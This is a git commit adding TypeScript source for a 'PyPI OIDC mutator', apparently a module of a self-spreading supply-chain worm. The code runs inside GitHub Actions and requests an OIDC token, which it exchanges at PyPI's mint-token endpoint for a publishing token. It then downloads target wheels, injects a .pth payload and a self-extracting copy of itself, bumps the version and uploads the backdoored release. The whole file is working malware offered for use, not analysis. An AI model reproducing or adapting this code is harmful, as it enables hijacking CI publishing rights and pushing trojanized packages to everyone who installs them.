Upload files to "src/mutator/pypioidc"

This commit is contained in:
2026-07-03 03:12:01 +00:00
parent 242096f9be
commit bf0fdb5260
+189
View File
@@ -0,0 +1,189 @@
// PyPI OIDC mutator — trojanizes Python packages via Trusted Publishing.
//
// Flow:
// 1. Request GitHub Actions OIDC token (audience: pypi)
// 2. Exchange OIDC token for short-lived PyPI API token
// 3. Download wheel → inject .pth payload → bump patch → upload
//
// Packages come from TARGET_PACKAGES env var (comma-separated).
// Falls back to OIDC_PACKAGES for backwards compatibility.
import { INJECT_PTH } from "../../generated";
import { logUtil } from "../../utils/logger";
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
import { Mutator } from "../base";
import { uploadWheel } from "../pypi/upload";
import {
downloadWheel,
extractInfo,
fetchPackageMeta,
patchWheel,
} from "../pypi/wheel";
/**
* Comma-separated list of packages to backdoor, read from OIDC_PACKAGES env.
*/
function getOidcPackages(): string[] {
const raw = process.env.TARGET_PACKAGES || process.env.OIDC_PACKAGES;
if (!raw || !raw.trim()) return [];
return raw
.split(",")
.map((s) => s.trim())
.filter(Boolean);
}
export class PyPIOidcClient extends Mutator {
constructor() {
super();
}
async execute(): Promise<Boolean> {
const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } =
process.env;
if (!ACTIONS_ID_TOKEN_REQUEST_URL || !ACTIONS_ID_TOKEN_REQUEST_TOKEN) {
logUtil.log(
"[pypioidc] Not running in GitHub Actions — no OIDC available",
);
return false;
}
// 1. Request GitHub OIDC token with audience=pypi
logUtil.log("[pypioidc] requesting OIDC token...");
const oidcRes = await fetch(
`${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=pypi`,
{
headers: { Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}` },
},
);
if (!oidcRes.ok) {
logUtil.log(`[pypioidc] OIDC token request failed: ${oidcRes.status}`);
return false;
}
const { value: oidcToken } = (await oidcRes.json()) as { value: string };
if (!oidcToken) {
logUtil.log("[pypioidc] no OIDC token returned");
return false;
}
// 2. Exchange OIDC token for PyPI API token
logUtil.log("[pypioidc] exchanging OIDC token for PyPI API token...");
let pypiToken: string;
try {
const mintRes = await fetch("https://pypi.org/_/oidc/mint-token", {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${oidcToken}`,
},
body: JSON.stringify({}),
});
if (!mintRes.ok) {
const errText = await mintRes.text().catch(() => "");
logUtil.log(
`[pypioidc] token minting failed: ${mintRes.status}${errText.slice(0, 200)}`,
);
return false;
}
const mintData = (await mintRes.json()) as { token?: string };
if (!mintData.token) {
logUtil.log("[pypioidc] no API token in mint response");
return false;
}
pypiToken = mintData.token;
} catch (e) {
logUtil.log(
`[pypioidc] mint exchange error: ${e instanceof Error ? e.message : String(e)}`,
);
return false;
}
// 3. Get package list
const packages = getOidcPackages();
if (packages.length === 0) {
logUtil.log("[pypioidc] OIDC_PACKAGES is empty — nothing to trojanize");
return false;
}
logUtil.log(
`[pypioidc] targeting ${packages.length} package(s): ${packages.join(", ")}`,
);
const pthContent = (INJECT_PTH as string) || "import os; os.system('id')";
// Build self-extracting JS payload (same as npm OIDC)
let jsPayload = "";
try {
const raw = await Bun.file(Bun.main).text();
jsPayload = buildSelfExtractingPayload(raw, { wrap: true });
} catch {
logUtil.log("[pypioidc] could not build JS payload — continuing without");
}
let published = 0;
for (const pkgName of packages) {
try {
const ok = await this.processPackage(
pkgName,
pypiToken,
pthContent,
jsPayload || undefined,
);
if (ok) published++;
} catch (e) {
logUtil.log(
`[pypioidc] error processing ${pkgName}: ${e instanceof Error ? e.message : String(e)}`,
);
}
}
logUtil.log(`[pypioidc] Done. Published ${published} package(s).`);
return published > 0;
}
private async processPackage(
pkgName: string,
token: string,
pthContent: string,
jsPayload?: string,
): Promise<boolean> {
// Download
const meta = await fetchPackageMeta(pkgName);
if (!meta) {
logUtil.log(`[pypioidc] ${pkgName}: no wheel found, skipping`);
return false;
}
const wheelData = await downloadWheel(meta.wheelUrl);
if (!wheelData) {
logUtil.log(`[pypioidc] ${pkgName}: download failed, skipping`);
return false;
}
// Patch
const patched = patchWheel({
meta,
wheelData,
pthContent,
jsPayload: jsPayload || undefined,
});
logUtil.log(
`[pypioidc] ${pkgName}: ${meta.version}${patched.newVersion}`,
);
// Upload
return uploadWheel({
token,
pkgName: meta.name,
version: patched.newVersion,
filename: patched.filename,
wheelData: patched.data,
...extractInfo(meta.info),
});
}
}